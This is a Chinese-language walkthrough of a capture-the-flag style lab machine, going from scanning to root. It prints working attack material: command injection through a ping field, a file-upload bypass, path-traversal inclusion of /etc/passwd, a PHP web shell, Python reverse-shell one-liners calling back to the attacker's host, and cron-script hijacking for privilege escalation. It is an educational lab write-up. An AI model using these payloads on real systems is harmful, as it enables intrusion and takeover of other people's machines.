主机发现
扫描攻击机同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.118

端口扫描
nmap 192.168.31.118 -A -p- -T4
开放端口:21(ftp)、22(ssh)、80(http)、8085(http)。

HTTP信息收集
80
访问http://192.168.31.118,如图:蒙娜丽莎的图片。F12页面源码没有特别的信息,仅有一张图片,图片没有隐藏额外信息。

目录扫描
dirb http://192.168.31.118

访问/userapp/有一个users.sql文件,下载到本地。找到一些可疑内容,有账户名字,电话号码,社交媒体。

将社交媒体的2进制字符串转换为ASCII码,得到一串16进制字符串。

再转换为字符串得到网址https://www.instagram.com/roxannebasley/,访问得到flag。

8085
文字提示翻译:打给我,我是Google!我知道一切包括你的名字:)只有三次。
打给谷歌?百度搜索谷歌电话,返回Only call;users.sql中的电话号码,返回Only call。返回Only call意味着没搞懂call的意思。

卡住了,目录扫描试试,没有收获;下载Google尝试图片隐写,也没有信息。
根据其他靶机的经验,输入框一般是命令执行,既然如此call是ping命令?只能打三次,就是ping三次?
# -c count:设置要发送的数据包数量。
ping -c 3 google.com;whoami
经过多次测试,仅有whoami命令可以成功。得到flag之一,并且Follow me:)是一个跳转链接。

点击Follow me:),跳转到文件上传页面/darkroomforyou/bullshitjok3foryou.php,页面文字翻译:相信我你可以上传php文件。

直接上传小马,提示只接受图片文件;经过测试发现接受jpg图片;服务器端仅校验上传文件的后缀名;文件保存地址是/darkroomforyou/uploads/。

继续测试后缀名白名单,bp抓包爆破文件后缀名,phtml和pHtml在后缀名白名单中,并且上传的文件后缀名为这两个时会响应flag和下一个链接。

访问/darkroomforyou/agent.php。根据前面的经验,页面中的文字不能忽略,页面文字AGENT 007并提示恶魔在细节中。

前面抓包时,请求头中有个和AGENT相关的参数User-Agent,尝试修改值为007,再forword放包。

成功拿到flag和下一个链接。

Follw me:)跳转到/darkroomforyou/agent.php?page=hello.php
,路径相同只是多了参数。尝试文件包含(记住要每次发起请求时User-Agent的值要是007,先抓包麻烦就用火狐的插件修改UA)。访问/darkroomfoyou/agent.php?page=../../../../../../../etc/passwd,成功包含/etc/passwd文件,发现第四个flag,并且知道了cybero和hemid两个用户。

getshell
首先想到文件上传+文件包含,大概思路是:反弹shell脚本修改后缀名为jpg后上传,再包含脚本实现反弹shell。

包含反弹shell脚本。

成功。

换个思路,在文件上传处上传命令执行的文件,再通过包含命令执行文件实现反弹shell。
# test.jpg
<?php system($_GET['cmd']); ?>
文件包含test.jpg,并使用查询参数cmd传参。
http://192.168.31.118:8085/darkroomforyou/agent.php?page=uploads/test.jpg&cmd=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.31.121',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功getshell。

在/var/ftp下找到flag和hemid的密码hemid123。

ssh登录到hemid用户信息收集,在家目录下有17932文件,经过cat查看,是CVE-2011-1485 pkexec特权提升漏洞的利用脚本,可能就是用这个exp提权吧。

/tmp目录下,存在endofthegame.py。

提权
直接给了提权脚本17932,难道就是用这个提权?
# 修改17932后缀名,不修改直接编译会报错file not recognized: File format not recognized
cp 17932 polkit-pwnage.c
# 编译
gcc polkit-pwnage.c -o get
# 提权
./get
需要密码,提权失败。

目光转向/tmp/endofthegame.py,该python文件的属主是root,当前的hemid拥有rwx权限,如果该文件是root用户的定时任务,那么通过修改文件内容即可实现提权到root。祈祷他是定时任务吧。
# 往endofthegame.py中加入python的反弹shell脚本
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.31.121',5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
成功拿到root权限。
